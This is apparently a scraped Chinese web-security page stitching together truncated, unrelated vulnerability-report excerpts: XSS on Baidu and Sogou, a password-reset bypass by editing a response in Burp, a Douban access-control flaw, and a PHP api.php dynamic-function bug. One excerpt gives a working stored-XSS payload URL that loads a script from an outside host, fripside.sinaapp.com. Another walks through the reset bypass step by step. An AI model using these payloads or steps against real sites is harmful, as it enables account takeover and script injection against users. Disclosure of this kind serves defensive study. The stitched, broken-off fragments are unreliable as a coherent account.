我在百度搜搜xss的时候点击这个页面就弹出xss
如果不弹出多点击几次
http://wenwen.sogou.com/z/q478438204.htm
修复方案：
删除
上一篇： 百度搜索存储型XSS漏洞 - 网站安全 - 自学php
下一篇： Ecmall某处SQL二次注入第三弹 - 网站安全 - 自学p
0x00 前⾔
SQLite作为⼀一款轻型数据库,PHP开发人员⼀定不会陌⽣生,PHP5后,其已默认集成这个轻巧的内嵌式数据库产品.对于采⽤用PHP/Sqlite的CMS,也存在⼀些常见的安全威胁.笔者以下数例加以分析,欢迎指出不足与错误之处.
0x01 数据库下载
作为⼀个单⽂文件的轻型数据库,存在与类似Access的问题,即数...
万能密码这是个比较老的漏洞了，如果你的网站存在这个漏洞，结果肯定非常的悲剧。任何一个初学 黑客技术的新人都能很轻松的入侵掉你的网站。因为需要入侵存在这种 漏洞的网站不存在任何的技术含量，简单打个密码就行。。但如今还有很多网站管理员都没重视。。以至于让自己的服务器沦落成业内人士常说“万人...
此文为安全科普系列第三篇，作者EtherDream以图文并茂的形式详细讲解了流量劫持及相关知识，此系列的前两篇文章见文章末的传送门。
传统的登录框
在之前的文章流量劫持危害详细讲解了 HTTP 的高危性，以至于重要的操作都使用 HTTPS 协议，来保障流量在途中的安全。
这是最经典的登录模式。尽管主页...
比如有人在去买呀注册了一个账号 但是有人想进他的账号搞破坏怎么办呢？？？ 只需要一个手机号就行了~~~
点击登录忘记密码
输入手机号号码
接着burp抓包 打开
response this request
继续跟进
返回了这个
将上面的2 修改为3 便可绕过
修复方案：
八成会忽略吧 哎.....
1.在百度搜索的东西，会在百度个人中心留下搜索历史记录
2.所以我在百度搜索
http://www.baidu.com/s?wd=%22onmouseover =%22var%20s=document.create%26%2369%3blement('script');s.src='https://fripside.sinaapp.com/';document.body.append%26%2367%3bhild(s);%22
3.在个人中心会留下记录，...
漏洞证明：
http://thing.douban.com/subject/2762/question/1693/
http://thing.douban.com/subject/2762/answer/15571/edit
修复方案：
加强权限控制
上一篇： TerraMaster NAS网络存储高危漏洞 - 网站安全 - 自学
下一篇： 安全科普：浮窗登录框的隐患 - 网站安全 - 自学
新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择；后台功能齐全，操作简便，可扩展性良好，具有较高安全性；前台可设置成同时显示多国语言，适合用于外贸企业建站；系统采用了目前业界著名的PHP模板引擎Smarty，熟悉Smarty的开发人员...
TerraMaster铁威马是一个专业的国际存储品牌，专注于为全球用户提供专业的私有云存储设备，包括高效能、安全可靠、多功能以及环保的NAS网络云储存服务器和DAS直连式存储装置。TerraMaster在银行、保险、学校、中小企业及高端家庭存储市场拥有较高的市场份额和良好的声誉。
TerraMaster系统由于默认...
漏洞文件：api/api.php:670行
$do = trim( $_GET['do'] );
if ( function_exists( $do ) )
{
$do( );
}
else
{
echo "param_error";
}
exit( );
直接来个动态函数，可惜没有参数可控，只能控制$do,所以可以鸡肋的用来读些敏感信息如phpinfo()/phpcredits()等
官网demo:
...